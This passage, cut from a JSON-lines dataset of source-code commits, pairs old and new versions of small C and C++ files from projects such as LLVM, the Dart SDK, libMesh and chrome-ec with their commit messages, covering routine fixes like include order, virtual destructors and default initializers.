Megas.\n\nSigned-off-by: Mattias Andrée <3d72f033b30d63e7ff5f0b71398e9c45b66386a1@kth.se>\n","lang":"C","license":"isc","repos":"maandree\/libzahl,maandree\/libzahl,maandree\/libzahl"}
{"commit":"a8f8e28d73a49458195a41a4f2983665f8b84e59","old_file":"config\/config_exporter.h","new_file":"config\/config_exporter.h","old_contents":"#ifndef\tCONFIG_EXPORTER_H\n#define\tCONFIG_EXPORTER_H\n\nclass ConfigClass;\nclass ConfigObject;\nclass ConfigValue;\n\nclass ConfigExporter {\nprotected:\n\tConfigExporter(void)\n\t{ }\n\t\n\t~ConfigExporter()\n\t{ }\n\npublic:\n\tvirtual void field(const ConfigValue *, const std::string&) = 0;\n\tvirtual void object(const ConfigClass *, const ConfigObject *) = 0;\n\tvirtual void value(const ConfigValue *, const std::string&) = 0;\n};\n\n#endif \/* !CONFIG_EXPORTER_H *\/\n","new_contents":"#ifndef\tCONFIG_EXPORTER_H\n#define\tCONFIG_EXPORTER_H\n\nclass ConfigClass;\nclass ConfigObject;\nclass ConfigValue;\n\nclass ConfigExporter {\nprotected:\n\tConfigExporter(void)\n\t{ }\n\t\n\tvirtual ~ConfigExporter()\n\t{ }\n\npublic:\n\tvirtual void field(const ConfigValue *, const std::string&) = 0;\n\tvirtual void object(const ConfigClass *, const ConfigObject *) = 0;\n\tvirtual void value(const ConfigValue *, const std::string&) = 0;\n};\n\n#endif \/* !CONFIG_EXPORTER_H *\/\n","subject":"Fix per Noris Datum's E-Mail.","message":"Fix per Noris Datum's E-Mail.\n\n\ngit-svn-id: 9e2532540f1574e817ce42f20b9d0fb64899e451@783 4068ffdb-0463-0410-8185-8cc71e3bd399\n","lang":"C","license":"bsd-2-clause","repos":"splbio\/wanproxy,splbio\/wanproxy,diegows\/wanproxy,diegows\/wanproxy,splbio\/wanproxy,diegows\/wanproxy"}
{"commit":"ec7ec4ecf7fb388c8bc6d074acb65e7d5605ff05","old_file":"runtime\/platform\/floating_point.h","new_file":"runtime\/platform\/floating_point.h","old_contents":"\/\/ Copyright (c) 2012, the Dart project authors.  Please see the AUTHORS file\n\/\/ for details. All rights reserved. Use of this source code is governed by a\n\/\/ BSD-style license that can be found in the LICENSE file.\n\n#ifndef RUNTIME_PLATFORM_FLOATING_POINT_H_\n#define RUNTIME_PLATFORM_FLOATING_POINT_H_\n\n#include <cmath>\n\ninline double fmod_ieee(double x, double y) {\n  return fmod(x, y);\n}\ninline double atan2_ieee(double y, double x) {\n  return atan2(y, x);\n}\n\n#endif  \/\/ RUNTIME_PLATFORM_FLOATING_POINT_H_\n","new_contents":"\/\/ Copyright (c) 2012, the Dart project authors.  Please see the AUTHORS file\n\/\/ for details. All rights reserved. Use of this source code is governed by a\n\/\/ BSD-style license that can be found in the LICENSE file.\n\n#ifndef RUNTIME_PLATFORM_FLOATING_POINT_H_\n#define RUNTIME_PLATFORM_FLOATING_POINT_H_\n\n#include <math.h>\n\ninline double fmod_ieee(double x, double y) {\n  return fmod(x, y);\n}\ninline double atan2_ieee(double y, double x) {\n  return atan2(y, x);\n}\n\n#endif  \/\/ RUNTIME_PLATFORM_FLOATING_POINT_H_\n","subject":"Fix import to fix Flutter build","message":"[gardening] Fix import to fix Flutter build\n\nHow cmath is included changes whether the symbols are in the std:: namespace or not. This changes it back to how we have it everywhere in the codebase: math.h\n\nFollow up of https:\/\/dart-review.googlesource.com\/c\/sdk\/+\/115707\/\n\nChange-Id: I383c1e9de0434d1367dfdb6302a8fb6db2c3062c\nReviewed-on: https:\/\/dart-review.googlesource.com\/c\/sdk\/+\/115920\nAuto-Submit: Daco Harkes <930cbae0ca77f1954c53e32620d89cfcca318f00@google.com>\nReviewed-by: Martin Kustermann <a35dd5b79fac84b2bb3b026a16b8becc55af5961@google.com>\nCommit-Queue: Daco Harkes <930cbae0ca77f1954c53e32620d89cfcca318f00@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"dart-lang\/sdk,dart-lang\/sdk,dart-archive\/dart-sdk,dart-lang\/sdk,dartino\/dart-sdk,dart-archive\/dart-sdk,dartino\/dart-sdk,dart-archive\/dart-sdk,dartino\/dart-sdk,dart-archive\/dart-sdk,dartino\/dart-sdk,dartino\/dart-sdk,dart-lang\/sdk,dart-archive\/dart-sdk,dartino\/dart-sdk,dartino\/dart-sdk,dart-lang\/sdk,dart-lang\/sdk,dart-archive\/dart-sdk,dart-lang\/sdk,dart-lang\/sdk,dart-archive\/dart-sdk,dart-archive\/dart-sdk,dartino\/dart-sdk,dartino\/dart-sdk,dart-archive\/dart-sdk"}
{"commit":"170bd62c1002a9f22595af023f0b0f823809c522","old_file":"include\/D_AnimationSheet.h","new_file":"include\/D_AnimationSheet.h","old_contents":"\/*\n    Copyright 2015 Ahnaf Siddiqui\n\n    Licensed under the Apache License, Version 2.0 (the \"License\");\n    you may not use this file except in compliance with the License.\n    You may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n    Unless required by applicable law or agreed to in writing, software\n    distributed under the License is distributed on an \"AS IS\" BASIS,\n    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n    See the License for the specific language governing permissions and\n    limitations under the License.\n*\/\n\n#ifndef D_ANIMATION_SHEET_H\n#define D_ANIMATION_SHEET_H\n\n#include \"D_typedefs.h\"\n#include \"D_Texture.h\"\n\nnamespace Diamond {\n    struct AnimationSheet {\n        Texture *sprite_sheet;\n\n        \/**\n         The length of time in type of tD_delta of one animation frame\n        *\/\n        tD_delta    frame_length = 100;\n\n        uint16_t    num_frames = 1;\n        uint8_t     rows = 1, columns = 1;\n    };\n}\n\n#endif \/\/ D_ANIMATION_SHEET_H\n","new_contents":"\/*\n    Copyright 2015 Ahnaf Siddiqui\n\n    Licensed under the Apache License, Version 2.0 (the \"License\");\n    you may not use this file except in compliance with the License.\n    You may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n    Unless required by applicable law or agreed to in writing, software\n    distributed under the License is distributed on an \"AS IS\" BASIS,\n    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n    See the License for the specific language governing permissions and\n    limitations under the License.\n*\/\n\n#ifndef D_ANIMATION_SHEET_H\n#define D_ANIMATION_SHEET_H\n\n#include \"D_typedefs.h\"\n#include \"D_Texture.h\"\n\nnamespace Diamond {\n    struct AnimationSheet {\n        Texture *sprite_sheet = nullptr;\n\n        \/**\n         The length of time in type of tD_delta of one animation frame\n        *\/\n        tD_delta    frame_length = 100;\n\n        uint16_t    num_frames = 1;\n        uint8_t     rows = 1, columns = 1;\n    };\n}\n\n#endif \/\/ D_ANIMATION_SHEET_H\n","subject":"Set default nullptr value on animation sheet texture","message":"Set default nullptr value on animation sheet texture\n","lang":"C","license":"apache-2.0","repos":"luky1971\/Diamond,polymergames\/Diamond,polymergames\/Diamond,polymergames\/Diamond,luky1971\/Diamond,polymergames\/Diamond,luky1971\/Diamond,luky1971\/Diamond,polymergames\/Diamond,luky1971\/Diamond,luky1971\/Diamond,polymergames\/Diamond"}
{"commit":"284c177fdc84906dcecc2f4770ac979377255a45","old_file":"atmega32a\/ddr_pin_port_1\/main.c","new_file":"atmega32a\/ddr_pin_port_1\/main.c","old_contents":"\/*\n * @file    main.c\n * @brief   Set PORTC I\/O pins using data direction register,\n *          read input from pins and set high PORTC.0 2 and 3\n *          if input pin PORTC.6 is high.\n * @date    06 Jun 2016 10:28 PM\n *\/\n\n\n#include <avr\/io.h>\n#include <util\/delay.h>\n\n\n#define __DELAY_BACKWARD_COMPATIBLE__\n\n#ifndef F_CPU\n#define F_CPU 16000000UL    \/* 16 MHz clock speed *\/\n#endif\n\nint\nmain(void)\n{\n    DDRC = 0x0F;\n    PORTC = 0x0C;\n     \n    \/* lets assume a 4V supply comes to PORTC.6 and Vcc = 5V *\/\n    if (PINC == 0b01000000) {\n        PORTC = 0x0B;\n        _delay_ms(1000);    \/* delay 1s *\/\n    } else {\n        PORTC = 0x00;\n    }\n    return 0;\n}\n","new_contents":"\/*\n * @file    main.c\n * @brief   Set PORTC I\/O pins using data direction register,\n *          read input from pins and set high PORTC.0 2 and 3\n *          if input pin PORTC.6 is high.\n * @date    06 Jun 2016 10:28 PM\n *\/\n\n\n#define __DELAY_BACKWARD_COMPATIBLE__\n\n#ifndef F_CPU\n#define F_CPU 16000000UL    \/* 16 MHz clock speed *\/\n#endif\n\n#include <avr\/io.h>\n#include <util\/delay.h>\n\n\nint\nmain(void)\n{\n    DDRC = 0x0F;\n    PORTC = 0x0C;\n     \n    \/* lets assume a 4V supply comes to PORTC.6 and Vcc = 5V *\/\n    if (PINC == 0b01000000) {\n        PORTC = 0x0B;\n        _delay_ms(1000);    \/* delay 1s *\/\n    } else {\n        PORTC = 0x00;\n    }\n    return 0;\n}\n","subject":"Define clock frequency before includes","message":"Define clock frequency before includes\n","lang":"C","license":"lgpl-2.1","repos":"spinlockirqsave\/avr"}
{"commit":"898b1920a67048c1f38bb99777f4cff06380a59a","old_file":"arch\/ppc\/platforms\/4xx\/virtex.h","new_file":"arch\/ppc\/platforms\/4xx\/virtex.h","old_contents":"\/*\n * arch\/ppc\/platforms\/4xx\/virtex.h\n *\n * Include file that defines the Xilinx Virtex-II Pro processor\n *\n * Author: MontaVista Software, Inc.\n *         source@mvista.com\n *\n * 2002-2004 (c) MontaVista Software, Inc.  This file is licensed under the\n * terms of the GNU General Public License version 2.  This program is licensed\n * \"as is\" without any warranty of any kind, whether express or implied.\n *\/\n\n#ifdef __KERNEL__\n#ifndef __ASM_VIRTEX_H__\n#define __ASM_VIRTEX_H__\n\n\/* serial defines *\/\n\n#include <asm\/ibm405.h>\n\n\/* Ugly, ugly, ugly! BASE_BAUD defined here to keep 8250.c happy. *\/\n#if !defined(BASE_BAUD)\n #define BASE_BAUD\t\t(0) \/* dummy value; not used *\/\n#endif\n  \n\/* Device type enumeration for platform bus definitions *\/\n#ifndef __ASSEMBLY__\nenum ppc_sys_devices {\n\tVIRTEX_UART,\n};\n#endif\n  \n#endif\t\t\t\t\/* __ASM_VIRTEX_H__ *\/\n#endif\t\t\t\t\/* __KERNEL__ *\/\n","new_contents":"\/*\n * arch\/ppc\/platforms\/4xx\/virtex.h\n *\n * Include file that defines the Xilinx Virtex-II Pro processor\n *\n * Author: MontaVista Software, Inc.\n *         source@mvista.com\n *\n * 2002-2004 (c) MontaVista Software, Inc.  This file is licensed under the\n * terms of the GNU General Public License version 2.  This program is licensed\n * \"as is\" without any warranty of any kind, whether express or implied.\n *\/\n\n#ifdef __KERNEL__\n#ifndef __ASM_VIRTEX_H__\n#define __ASM_VIRTEX_H__\n\n\/* serial defines *\/\n\n#include <asm\/ibm405.h>\n\n\/* Ugly, ugly, ugly! BASE_BAUD defined here to keep 8250.c happy. *\/\n#if !defined(BASE_BAUD)\n #define BASE_BAUD\t\t(0) \/* dummy value; not used *\/\n#endif\n  \n\/* Device type enumeration for platform bus definitions *\/\n#ifndef __ASSEMBLY__\nenum ppc_sys_devices {\n\tVIRTEX_UART, NUM_PPC_SYS_DEVS,\n};\n#endif\n  \n#endif\t\t\t\t\/* __ASM_VIRTEX_H__ *\/\n#endif\t\t\t\t\/* __KERNEL__ *\/\n","subject":"Fix compile error for ML300\/403","message":"[PATCH] Fix compile error for ML300\/403\n\nNeeded due to changes in ppc_sys.c.\n\nSigned-off-by: Grant Likely <9069e6f5a2b566e2674a0ba1e2bf39c12c195fad@secretlab.ca>\nSigned-off-by: Paul Mackerras <19a0ba370c443ba08d20b5061586430ab449ee8c@samba.org>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"ce5a951499fe9591054c8fa07df5f5fcf61dec59","old_file":"driver\/retimer\/anx7491.h","new_file":"driver\/retimer\/anx7491.h","old_contents":"","new_contents":"\/* Copyright 2021 The Chromium OS Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\n * ANX7491:10G USB 3.2 Re-timer (1-Port)\n *\/\n\n#ifndef __CROS_EC_USB_RETIMER_ANX7491_H\n#define __CROS_EC_USB_RETIMER_ANX7491_H\n\n\/* I2C interface addresses *\/\n#define ANX7491_I2C_ADDR0_FLAGS\t\t0x10\n#define ANX7491_I2C_ADDR1_FLAGS\t\t0x14\n#define ANX7491_I2C_ADDR2_FLAGS\t\t0x16\n#define ANX7491_I2C_ADDR3_FLAGS\t\t0x11\n\n#endif \/* __CROS_EC_USB_RETIMER_ANX7491_H *\/\n","subject":"Add header for ANX7491 retimer","message":"guybrush: Add header for ANX7491 retimer\n\nAdding a header to hold register values for ANX7491. ANX7491 should work\nwithout configuration. More registers can be added as needed for\ntuning.\n\nBUG=b:184592168\nTEST=Build\nBRANCH=None\n\nSigned-off-by: Rob Barnes <3ced0940a2329ce70499686f01d3d60685ec66ed@google.com>\nChange-Id: If529bfdedff6b151147c8ef02840621b093be672\nReviewed-on: https:\/\/chromium-review.googlesource.com\/c\/chromiumos\/platform\/ec\/+\/2809881\nReviewed-by: Diana Z <cb2016afc7183e5356c690dc63b4ba817470501a@chromium.org>\n","lang":"C","license":"bsd-3-clause","repos":"coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec"}
{"commit":"355c5444d721ed0ed3c4fb5ca8286c579c79db69","old_file":"ios\/ReactNativeExceptionHandler.h","new_file":"ios\/ReactNativeExceptionHandler.h","old_contents":"\n#if __has_include(\"RCTBridgeModule.h\")\n#import \"RCTBridgeModule.h\"\n#else\n#import <React\/RCTBridgeModule.h>\n#endif\n\n#import  <UIKit\/UIKit.h>\n#include <libkern\/OSAtomic.h>\n#include <execinfo.h>\n\n@interface ReactNativeExceptionHandler : NSObject <RCTBridgeModule>\n+ (void) replaceNativeExceptionHandlerBlock:(void (^)(NSException *exception, NSString *readeableException))nativeCallbackBlock;\n+ (void) releaseExceptionHold;\n@end\n\n\n","new_contents":"\n#if __has_include(<React\/RCTBridgeModule.h>)\n#import <React\/RCTBridgeModule.h>\n#else\n#import \"RCTBridgeModule.h\"\n#endif\n\n#import  <UIKit\/UIKit.h>\n#include <libkern\/OSAtomic.h>\n#include <execinfo.h>\n\n@interface ReactNativeExceptionHandler : NSObject <RCTBridgeModule>\n+ (void) replaceNativeExceptionHandlerBlock:(void (^)(NSException *exception, NSString *readeableException))nativeCallbackBlock;\n+ (void) releaseExceptionHold;\n@end\n\n\n","subject":"Change import priority of RCTBridgeModule","message":"Change import priority of RCTBridgeModule\n\nThis appears to be the accepted fix for this issue: https:\/\/github.com\/master-atul\/react-native-exception-handler\/issues\/46 per https:\/\/github.com\/facebook\/react-native\/issues\/15775#issuecomment-326930316 and other posts in the same thread.","lang":"C","license":"mit","repos":"master-atul\/react-native-exception-handler,master-atul\/react-native-exception-handler,master-atul\/react-native-exception-handler"}
{"commit":"0b77e6dcf6955ffd783830104c12563a650d3e25","old_file":"include\/utils\/string_to_enum.h","new_file":"include\/utils\/string_to_enum.h","old_contents":"\/\/ The libMesh Finite Element Library.\n\/\/ Copyright (C) 2002-2019 Benjamin S. Kirk, John W. Peterson, Roy H. Stogner\n\n\/\/ This library is free software; you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU Lesser General Public\n\/\/ License as published by the Free Software Foundation; either\n\/\/ version 2.1 of the License, or (at your option) any later version.\n\n\/\/ This library is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n\/\/ Lesser General Public License for more details.\n\n\/\/ You should have received a copy of the GNU Lesser General Public\n\/\/ License along with this library; if not, write to the Free Software\n\/\/ Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n\n\n\n#ifndef LIBMESH_STRING_TO_ENUM_H\n#define LIBMESH_STRING_TO_ENUM_H\n\n\n\n\/\/ C++ includes\n#include <string>\n\nnamespace libMesh\n{\n\nnamespace Utility\n{\n\n\/**\n * \\returns the enumeration of type \\p T which matches the string \\p s.\n *\/\ntemplate <typename T>\nT string_to_enum (const std::string & s);\n\n} \/\/ namespace Utility\n} \/\/ namespace libMesh\n\n\n#endif \/\/ LIBMESH_STRING_TO_ENUM_H\n","new_contents":"\/\/ The libMesh Finite Element Library.\n\/\/ Copyright (C) 2002-2019 Benjamin S. Kirk, John W. Peterson, Roy H. Stogner\n\n\/\/ This library is free software; you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU Lesser General Public\n\/\/ License as published by the Free Software Foundation; either\n\/\/ version 2.1 of the License, or (at your option) any later version.\n\n\/\/ This library is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n\/\/ Lesser General Public License for more details.\n\n\/\/ You should have received a copy of the GNU Lesser General Public\n\/\/ License along with this library; if not, write to the Free Software\n\/\/ Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n\n\n\n#ifndef LIBMESH_STRING_TO_ENUM_H\n#define LIBMESH_STRING_TO_ENUM_H\n\n\n\n\/\/ libMesh includes\n #include \"libmesh\/enum_to_string.h\" \/\/ backwards compatibility\n\n\/\/ C++ includes\n#include <string>\n\nnamespace libMesh\n{\n\nnamespace Utility\n{\n\n\/**\n * \\returns the enumeration of type \\p T which matches the string \\p s.\n *\/\ntemplate <typename T>\nT string_to_enum (const std::string & s);\n\n} \/\/ namespace Utility\n} \/\/ namespace libMesh\n\n\n#endif \/\/ LIBMESH_STRING_TO_ENUM_H\n","subject":"Include new header in old header for backwards compatibility.","message":"Include new header in old header for backwards compatibility.\n","lang":"C","license":"lgpl-2.1","repos":"libMesh\/libmesh,capitalaslash\/libmesh,libMesh\/libmesh,capitalaslash\/libmesh,roystgnr\/libmesh,BalticPinguin\/libmesh,capitalaslash\/libmesh,capitalaslash\/libmesh,roystgnr\/libmesh,dschwen\/libmesh,capitalaslash\/libmesh,libMesh\/libmesh,libMesh\/libmesh,BalticPinguin\/libmesh,jwpeterson\/libmesh,dschwen\/libmesh,jwpeterson\/libmesh,dschwen\/libmesh,jwpeterson\/libmesh,capitalaslash\/libmesh,BalticPinguin\/libmesh,BalticPinguin\/libmesh,dschwen\/libmesh,roystgnr\/libmesh,dschwen\/libmesh,roystgnr\/libmesh,BalticPinguin\/libmesh,capitalaslash\/libmesh,jwpeterson\/libmesh,BalticPinguin\/libmesh,jwpeterson\/libmesh,jwpeterson\/libmesh,BalticPinguin\/libmesh,dschwen\/libmesh,dschwen\/libmesh,capitalaslash\/libmesh,roystgnr\/libmesh,libMesh\/libmesh,BalticPinguin\/libmesh,roystgnr\/libmesh,dschwen\/libmesh,libMesh\/libmesh,libMesh\/libmesh,roystgnr\/libmesh,jwpeterson\/libmesh,jwpeterson\/libmesh,roystgnr\/libmesh,libMesh\/libmesh"}
{"commit":"e5f5221b5ee04eaffdd76c196c32b82ca4b9a332","old_file":"lib\/Target\/X86\/X86TargetMachine.h","new_file":"lib\/Target\/X86\/X86TargetMachine.h","old_contents":"\/\/===-- X86TargetMachine.h - Define TargetMachine for the X86 ---*- C++ -*-===\/\/\n\/\/ \n\/\/ This file declares the X86 specific subclass of TargetMachine.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef X86TARGETMACHINE_H\n#define X86TARGETMACHINE_H\n\n#include \"llvm\/Target\/TargetMachine.h\"\n#include \"X86InstrInfo.h\"\n\nclass X86TargetMachine : public TargetMachine {\n  X86InstrInfo instrInfo;\npublic:\n  X86TargetMachine();\n\n  virtual const MachineInstrInfo &getInstrInfo() const { return instrInfo; }\n  virtual const MachineSchedInfo &getSchedInfo() const { abort(); }\n  virtual const MachineRegInfo   &getRegInfo()   const { abort(); }\n  virtual const MachineFrameInfo &getFrameInfo() const { abort(); }\n  virtual const MachineCacheInfo &getCacheInfo() const { abort(); }\n  virtual const MachineOptInfo   &getOptInfo()   const { abort(); }\n\n  \/\/\/ addPassesToJITCompile - Add passes to the specified pass manager to\n  \/\/\/ implement a fast dynamic compiler for this target.  Return true if this is\n  \/\/\/ not supported for this target.\n  \/\/\/\n  virtual bool addPassesToJITCompile(PassManager &PM);\n};\n\n#endif\n","new_contents":"\/\/===-- X86TargetMachine.h - Define TargetMachine for the X86 ---*- C++ -*-===\/\/\n\/\/ \n\/\/ This file declares the X86 specific subclass of TargetMachine.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef X86TARGETMACHINE_H\n#define X86TARGETMACHINE_H\n\n#include \"llvm\/Target\/TargetMachine.h\"\n#include \"X86InstrInfo.h\"\n\nclass X86TargetMachine : public TargetMachine {\n  X86InstrInfo instrInfo;\npublic:\n  X86TargetMachine();\n\n  virtual const MachineInstrInfo &getInstrInfo() const { return instrInfo; }\n  virtual const MachineSchedInfo &getSchedInfo() const { abort(); }\n  virtual const MachineRegInfo   &getRegInfo()   const { abort(); }\n  virtual const MachineFrameInfo &getFrameInfo() const { abort(); }\n  virtual const MachineCacheInfo &getCacheInfo() const { abort(); }\n  virtual const MachineOptInfo   &getOptInfo()   const { abort(); }\n  virtual const MRegisterInfo *getRegisterInfo() const {\n    return &instrInfo.getRegisterInfo();\n  }\n\n  \/\/\/ addPassesToJITCompile - Add passes to the specified pass manager to\n  \/\/\/ implement a fast dynamic compiler for this target.  Return true if this is\n  \/\/\/ not supported for this target.\n  \/\/\/\n  virtual bool addPassesToJITCompile(PassManager &PM);\n};\n\n#endif\n","subject":"Implement the new optional getRegisterInfo","message":"Implement the new optional getRegisterInfo\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@4437 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,dslab-epfl\/asap"}
{"commit":"287d81cca3ddb6386c8fb4712a46d7e7cb01e7bd","old_file":"cc1\/tests\/test003.c","new_file":"cc1\/tests\/test003.c","old_contents":"","new_contents":"\/*\nname: TEST003\ndescription: Select function to call inside ternary operator\noutput:\n*\/\n\nint\nfoo(void)\n{\n\treturn 42;\n}\n\nint\nbar(void)\n{\n\treturn 24;\n}\n\nint\nmain(void)\n{\n\treturn (1 ? foo : bar)();\n}\n","subject":"Add test for ternary operator","message":"Add test for ternary operator\n\nThe test is currently failing.\n","lang":"C","license":"isc","repos":"k0gaMSX\/scc,k0gaMSX\/kcc,k0gaMSX\/scc,8l\/scc,8l\/scc,k0gaMSX\/kcc,k0gaMSX\/scc,8l\/scc"}
{"commit":"e0589df6d57310a9e86c86c006657fef5c801b03","old_file":"library\/src\/main\/cpp\/borders.h","new_file":"library\/src\/main\/cpp\/borders.h","old_contents":"#ifndef BORDERS_H\n#define BORDERS_H\n\n#include <cstdlib>\n#include <cmath>\n\n\/** A line will be considered as having content if 0.25% of it is filled. *\/\nconst float filledRatioLimit = 0.0025;\n\n\/** When the threshold is closer to 1, less content will be cropped. **\/\n#define THRESHOLD 0.65\n\nconst uint16_t redThreshold_RGB_565 = ((uint16_t)(31.0 * THRESHOLD)) << (5 + 6);\nconst uint8_t  redTreshold_RGB_A8888 = (uint8_t)(255.0 * THRESHOLD);\nconst uint8_t  redTreshold_A8 = (uint8_t)(255.0 * THRESHOLD);\n\nstruct Borders {\n    int left, top, right, bottom;\n};\n\nBorders findBorders_ARGB_8888(const void *pixels, int width, int height);\n\nBorders findBorders_RGB_565(const void *pixels, int width, int height);\n\nBorders findBorders_A8(const void *pixels, int width, int height);\n\n#endif \/\/BORDERS_H","new_contents":"#ifndef BORDERS_H\n#define BORDERS_H\n\n#include <cstdlib>\n#include <cmath>\n\n\/** A line will be considered as having content if 0.25% of it is filled. *\/\nconst float filledRatioLimit = 0.0025;\n\n\/** When the threshold is closer to 1, less content will be cropped. **\/\n#define THRESHOLD 0.75\n\nconst uint16_t redThreshold_RGB_565 = ((uint16_t)(31.0 * THRESHOLD)) << (5 + 6);\nconst uint8_t  redTreshold_RGB_A8888 = (uint8_t)(255.0 * THRESHOLD);\nconst uint8_t  redTreshold_A8 = (uint8_t)(255.0 * THRESHOLD);\n\nstruct Borders {\n    int left, top, right, bottom;\n};\n\nBorders findBorders_ARGB_8888(const void *pixels, int width, int height);\n\nBorders findBorders_RGB_565(const void *pixels, int width, int height);\n\nBorders findBorders_A8(const void *pixels, int width, int height);\n\n#endif \/\/BORDERS_H","subject":"Add a bit more threshold","message":"Add a bit more threshold\n","lang":"C","license":"apache-2.0","repos":"inorichi\/tachimage,inorichi\/tachimage,inorichi\/tachimage"}
{"commit":"be7f4b5b23cbdaedac70f2743b1cc0d4f517ef8d","old_file":"cc1\/tests\/test015.c","new_file":"cc1\/tests\/test015.c","old_contents":"","new_contents":"\/*\nname: TEST015\ndescription: Stress namespace mechanism\noutput:\ntest015.c:21: warning: 's1' defined but not used\nS7\ts2\n(\nM8\tI\ts\n)\nS4\ts1\n(\nM5\tI\ts\nM9\tS7\ts2\n)\nS2\ts\n(\nM10\tS4\ts1\n)\nG11\tS2\ts\nF1\nG12\tF1\tmain\n{\n-\n\tj\tL2\nA3\tS2\ts2\nL4\n\tyI\tG11\tM10\t.S4\tM5\t.I\tG11\tM10\t.S4\tM9\t.S7\tM8\t.I\t+I\nL2\n\tyI\tA3\tM10\t.S4\tM9\t.S7\tM8\t.I\n}\n*\/\n\n#line 1\n\nstruct s {\n\tstruct s1 {\n\t\tint s;\n\t\tstruct s2 {\n\t\t\tint s;\n\t\t} s2;\n\t} s1;\n} s;\n\nint\nmain(void)\n{\n\tgoto\ts2;\n\tstruct s s2;\n\ts1:\n\treturn s.s1.s + s.s1.s2.s;\n\ts2:\n\treturn s2.s1.s2.s;\n}\n","subject":"Add test of namespaces and structs\/unions","message":"Add test of namespaces and structs\/unions\n","lang":"C","license":"mit","repos":"k0gaMSX\/kcc,8l\/scc,k0gaMSX\/scc,k0gaMSX\/scc,8l\/scc,8l\/scc,k0gaMSX\/scc,k0gaMSX\/kcc"}
{"commit":"032e91ad8a436a424a8364f70f5fea0ab5f6d23d","old_file":"firmware\/src\/control_loop-inl.h","new_file":"firmware\/src\/control_loop-inl.h","old_contents":"#ifndef CONTROL_LOOP_INL_H\n#define CONTROL_LOOP_INL_H\n\n#include \"board.h\"\n#include \"bitband.h\"\n\nnamespace hardware {\n\ninline\nbool ControlLoop::hw_button_enabled()\n{\n  return MEM_ADDR(BITBAND(reinterpret_cast<uint32_t>(&(GPIOF->IDR)),\n                          GPIOF_HW_SWITCH_PIN));\n}\n\n\n}\n\n#endif\n\n","new_contents":"#ifndef CONTROL_LOOP_INL_H\n#define CONTROL_LOOP_INL_H\n\n#include \"board.h\"\n#include \"bitband.h\"\n\nnamespace hardware {\n\ninline\nbool ControlLoop::hw_button_enabled() const\n{\n  return MEM_ADDR(BITBAND(reinterpret_cast<uint32_t>(&(GPIOF->IDR)),\n                          GPIOF_HW_SWITCH_PIN));\n}\n\n\n}\n\n#endif\n\n","subject":"Add const to hw_button_enabled() definition.","message":"Add const to hw_button_enabled() definition.\n","lang":"C","license":"bsd-2-clause","repos":"hazelnusse\/robot.bicycle,hazelnusse\/robot.bicycle,hazelnusse\/robot.bicycle,hazelnusse\/robot.bicycle,hazelnusse\/robot.bicycle"}
{"commit":"ac20dc4cdb3accf492b23c75bcfedfad80bc5c3d","old_file":"formats\/format.h","new_file":"formats\/format.h","old_contents":"#ifndef FORMAT_H\n#define FORMAT_H\n\n\n#include <cstring>  \/\/ memmove\n\n\nclass Format\n{\npublic:\n    Format(void *p, size_t s = 0) : fp((char *)p), size(s) {};\n\n\n    size_t Leanify(size_t size_leanified = 0)\n    {\n        if (size_leanified)\n        {\n            memmove(fp - size_leanified, fp, size);\n            fp -= size_leanified;\n        }\n\n        return size;\n    }\n\nprotected:\n    \/\/ pointer to the file content\n    char *fp;\n    \/\/ size of the file\n    size_t size;\n};\n\n\n#endif","new_contents":"#ifndef FORMAT_H\n#define FORMAT_H\n\n\n#include <cstddef>\n#include <cstring>  \/\/ memmove\n\n\nclass Format\n{\npublic:\n    Format(void *p, size_t s = 0) : fp((char *)p), size(s) {};\n\n\n    size_t Leanify(size_t size_leanified = 0)\n    {\n        if (size_leanified)\n        {\n            memmove(fp - size_leanified, fp, size);\n            fp -= size_leanified;\n        }\n\n        